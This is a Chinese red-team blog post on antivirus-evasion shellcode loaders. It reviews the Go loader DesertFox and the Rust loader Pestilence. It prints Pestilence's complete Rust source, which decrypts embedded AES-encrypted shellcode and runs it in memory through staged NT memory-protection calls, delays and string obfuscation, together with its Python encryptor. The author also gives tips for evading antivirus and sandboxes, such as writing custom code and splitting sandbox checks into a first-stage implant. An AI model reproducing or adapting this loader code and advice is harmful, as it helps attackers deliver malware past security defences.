红队免杀系列之自动化Loader解读(四)

admin 2023年9月23日13:24:55评论67 views字数 6339阅读21分7秒阅读模式



一个能独自从黑暗走出来的人,不是野兽,便是神明!

   

01

DesertFox&&Pestilence


  本篇将是自动化加载器的最后一篇,接下来简单的分析一下go语言实现的DesertFox,以及rust语言编写的Pestilence加载器:

红队免杀系列之自动化Loader解读(四)




02

代码结构以及解析


DesertFox


  这是一个使用golang编写的shellcodeLoader,当然像作者说的免杀诸多安全软件,看看就好,免杀之所谓免杀,在于你看不见之处免杀,一旦被针对,再强力的免杀也会很快失效,这一个项目是2021年发的,接下来看看代码结构,以及编写思路:

https://github.com/zha0gongz1/DesertFox

红队免杀系列之自动化Loader解读(四)

作者的代码很清爽,这里赞一个

红队免杀系列之自动化Loader解读(四)加载shellcode的部分封装到function.go中:

红队免杀系列之自动化Loader解读(四)  这一部分,作者采用远程加载加密后的shellcode文件的方式(加密算法为SM4),就是loader+SM4加密后的shellcode部分(这一部分放到服务器上),后面几段就是固定的开辟内存,指定读写执行的内存块,执行shellcode,没啥太多亮点

红队免杀系列之自动化Loader解读(四)

 值得一说的是作者的加载器引入了大量第三方库,可以看到有操作注册表的库,以及sm4加密库。

 目前而言杀软对于某些第三方库的特征查杀也很严格,建议算法之流能自己实现就自己实现,尽可能少的引入别人的代码(尤其是go版的各种地狱之门,天堂之门,syscall,以及各类sleep的tech等)

红队免杀系列之自动化Loader解读(四)

   专门写了一段用来检测沙箱,这一类沙箱检测其实可以可以单独划出来做成前置马(自行实现,别用公开的代码),像微步这一类在线沙箱完全可以检测到你检查沙箱的操作,然后给你嘿嘿嘿了。

红队免杀系列之自动化Loader解读(四)


   目前而言,比较一般,不算亮眼的操作,初学者可以学学代码的写法,想想怎么改代码。

红队免杀系列之自动化Loader解读(四)




Pestilence

   外国佬写的一个免杀加载器,使用rust语言写的Loader,使用了AES加密,加密器部分使用python实现

https://github.com/cr7pt0pl4gu3/Pestilence

红队免杀系列之自动化Loader解读(四)

部分读者可能没接触过rust,在这里对代码做一些详尽的解读:

main.rs

红队免杀系列之自动化Loader解读(四)完整代码

use std::env;use aes::{Aes128};use cfb_mode::Cfb;use cfb_mode::cipher::{NewCipher, AsyncStreamCipher};use windows::{Win32::System::Memory::*, Win32::System::SystemServices::*};use ntapi::{ntmmapi::*, ntpsapi::*, ntobapi::*, winapi::ctypes::*};use obfstr::obfstr;
type Aes128Cfb = Cfb<Aes128>;
pub struct Injector { shellcode: Vec<u8>,}
impl Injector { pub fn new(shellcode: Vec<u8>) -> Injector { Injector { shellcode } }
pub fn run_in_current_process(&mut self) { unsafe { let mut protect = PAGE_NOACCESS.0; let mut map_ptr: *mut c_void = std::ptr::null_mut(); // asking for more than needed, because we can afford it let mut sc_len = self.shellcode.len() * 5; NtAllocateVirtualMemory(NtCurrentProcess, &mut map_ptr, 0, &mut sc_len, MEM_COMMIT.0 | MEM_RESERVE.0, protect); custom_sleep(100); NtProtectVirtualMemory(NtCurrentProcess, &mut map_ptr, &mut sc_len, PAGE_READWRITE.0, &mut protect); custom_sleep(100); self.copy_nonoverlapping_gradually(map_ptr as *mut u8); NtProtectVirtualMemory(NtCurrentProcess, &mut map_ptr, &mut sc_len, PAGE_NOACCESS.0, &mut protect); custom_sleep(100); NtProtectVirtualMemory(NtCurrentProcess, &mut map_ptr, &mut sc_len, PAGE_EXECUTE.0, &mut protect); custom_sleep(100); let mut thread_handle : *mut c_void = std::ptr::null_mut(); NtCreateThreadEx(&mut thread_handle, MAXIMUM_ALLOWED, std::ptr::null_mut(), NtCurrentProcess, map_ptr, std::ptr::null_mut(), 0, 0, 0, 0, std::ptr::null_mut()); NtWaitForSingleObject(thread_handle, 0, std::ptr::null_mut()); } }
fn copy_nonoverlapping_gradually(&mut self, map_ptr: *mut u8) { unsafe { let sc_ptr = self.shellcode.as_ptr(); let mut i = 0; while i < self.shellcode.len()+33 { std::ptr::copy_nonoverlapping(sc_ptr.offset(i as isize), map_ptr.offset(i as isize), 32); i += 32; #[cfg(debug_assertions)] if i % 3200 == 0 || i > self.shellcode.len() { println!("{}{}{}{}{}", obfstr!("[+] [total written] ["), i, obfstr!("B/"), self.shellcode.len(), obfstr!("B]")); } custom_sleep(2); } } }}
const SHELLCODE_BYTES: &[u8] = include_bytes!("../shellcode.enc");const SHELLCODE_LENGTH: usize = SHELLCODE_BYTES.len();
#[no_mangle]#[link_section = ".text"]static SHELLCODE: [u8; SHELLCODE_LENGTH] = *include_bytes!("../shellcode.enc");static AES_KEY: [u8; 16] = *include_bytes!("../aes.key");static AES_IV: [u8; 16] = *include_bytes!("../aes.iv");
fn decrypt_shellcode_stub() -> Vec<u8> { let mut cipher = Aes128Cfb::new_from_slices(&AES_KEY, &AES_IV).unwrap(); let mut buf = SHELLCODE.to_vec(); cipher.decrypt(&mut buf); buf}
fn custom_sleep(delay: u8) { for _ in 0..delay { for _ in 0..10 { for _ in 0..10 { for _ in 0..10 { print!("{}", obfstr!("")); } } } }}
fn main() { let args: Vec<String> = env::args().collect(); if args[1] == obfstr!("activate") { let mut injector = Injector::new(decrypt_shellcode_stub()); injector.run_in_current_process(); }}


让我们逐段解读这段代码:

  1. 导入必要的 Rust 模块和库:

use std::env;use aes::{Aes128};use cfb_mode::Cfb;use cfb_mode::cipher::{NewCipher, AsyncStreamCipher};use windows::{Win32::System::Memory::*, Win32::System::SystemServices::*};use ntapi::{ntmmapi::*, ntpsapi::*, ntobapi::*, winapi::ctypes::*};use obfstr::obfstr;


这里导入了一些标准库和外部库,包括对 AES 加密、CFB 模式、Windows API 和字符串混淆的使用。

  1. 定义了 AES128-CFB 加密算法类型和一个注入器结构体:

type Aes128Cfb = Cfb<Aes128>;
pub struct Injector { shellcode: Vec<u8>,}


这里定义了用于 AES128-CFB 加密的类型和一个注入器结构体,其中存储了 Shellcode 的字节数组。

  1. 实现了注入器结构体的方法:

impl Injector {    pub fn new(shellcode: Vec<u8>) -> Injector {        Injector { shellcode }    }
pub fn run_in_current_process(&mut self) { // ... (后续代码省略) }
// ... (后续代码省略)
fn copy_nonoverlapping_gradually(&mut self, map_ptr: *mut u8) { // ... (后续代码省略) }}


这里实现了注入器结构体的方法,包括创建新注入器和运行注入器方法。

  1. 定义了一些常量,包括加密后的 Shellcode 字节数组和相关密钥:


const SHELLCODE_BYTES: &[u8] = include_bytes!("../shellcode.enc");const SHELLCODE_LENGTH: usize = SHELLCODE_BYTES.len();
#[no_mangle]#[link_section = ".text"]static SHELLCODE: [u8; SHELLCODE_LENGTH] = *include_bytes!("../shellcode.enc");static AES_KEY: [u8; 16] = *include_bytes!("../aes.key");static AES_IV: [u8; 16] = *include_bytes!("../aes.iv");


这里定义了一些常量,包括解密后的 Shellcode 字节数组和 AES 加密所需的密钥和 IV。

  1. 实现了解密 Shellcode 的函数:

fn decrypt_shellcode_stub() -> Vec<u8> {    // ... (后续代码省略)}


这里实现了解密 Shellcode 的函数,使用 AES128-CFB 解密 Shellcode。

  1. 实现了模拟延时的函数:

fn custom_sleep(delay: u8) {    // ... (后续代码省略)}


这里实现了模拟延时的函数。

  1. 在 main 函数中执行注入操作:


fn main() {    let args: Vec<String> = env::args().collect();    if args[1] == obfstr!("activate") {        let mut injector = Injector::new(decrypt_shellcode_stub());        injector.run_in_current_process();    }}


      这里在 main 函数中获取命令行参数,如果参数为 "activate",则创建一个注入器并运行 Shellcode。

总体来说,这段代码实现了一个将解密后的 Shellcode 注入到当前进程并执行的功能,涉及了 AES 解密、Windows API 调用等操作。

加密器

#!/usr/bin/env python3import osimport stringimport randomfrom hashlib import md5from Cryptodome.Cipher import AES
letters = string.ascii_lettersprint("[+] ALPHABET:", letters)
random_key = ''.join(random.choice(letters) for _ in range(32))random_iv = ''.join(random.choice(letters) for _ in range(16))print("[+] KEY:", random_key)print("[+] IV:", random_iv)
random_key_digest = md5(random_key.encode('utf-8'))random_iv_digest = md5(random_iv.encode('utf-8'))print("[+] KEY DIGEST (md5):", random_key_digest.hexdigest())print("[+] IV DIGEST (md5):", random_iv_digest.hexdigest())random_key_digest = random_key_digest.digest()random_iv_digest = random_iv_digest.digest()
with open("aes.key", "wb") as f: f.write(random_key_digest)
with open("aes.iv", "wb") as f: f.write(random_iv_digest)
mode = AES.MODE_CFBencryptor = AES.new(random_key_digest, mode, random_iv_digest, segment_size=128)
with open("shellcode.bin", "rb") as f: shellcode = f.read()
cipher = encryptor.encrypt(shellcode)
with open("shellcode.enc", "wb") as f: f.write(cipher)
print("[+] DONE!")

 

     加密器实现的功能很简单,使用AES CFB加密模式加密传入的shellcode文件shellcode.bin(AES的IV以及加密密钥都会随机生成,然后存储到对应的文件中),加密生成shellcode.enc

   这个项目生成的文件比较多,涉及aes.key,aes.iv,shellcode.enc还有加载器本体,嗯,实际使用会麻烦点,仅供参考

红队免杀系列之自动化Loader解读(四)





03

后话



    以上自动化shellcode加载器便告一段落了,主流写法几乎都是加密+分离免杀+反沙箱+延迟执行等一系列的技术组成


    这周五中秋国庆一起放假了啊,预祝各位师傅中秋快乐!!!



红队免杀系列之自动化Loader解读(四)





END
红队免杀系列之自动化Loader解读(四)




原文始发于微信公众号(JC的安全之路):红队免杀系列之自动化Loader解读(四)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月23日13:24:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队免杀系列之自动化Loader解读(四)http://cn-sec.com/archives/2062045.html

发表评论

匿名网友 填写信息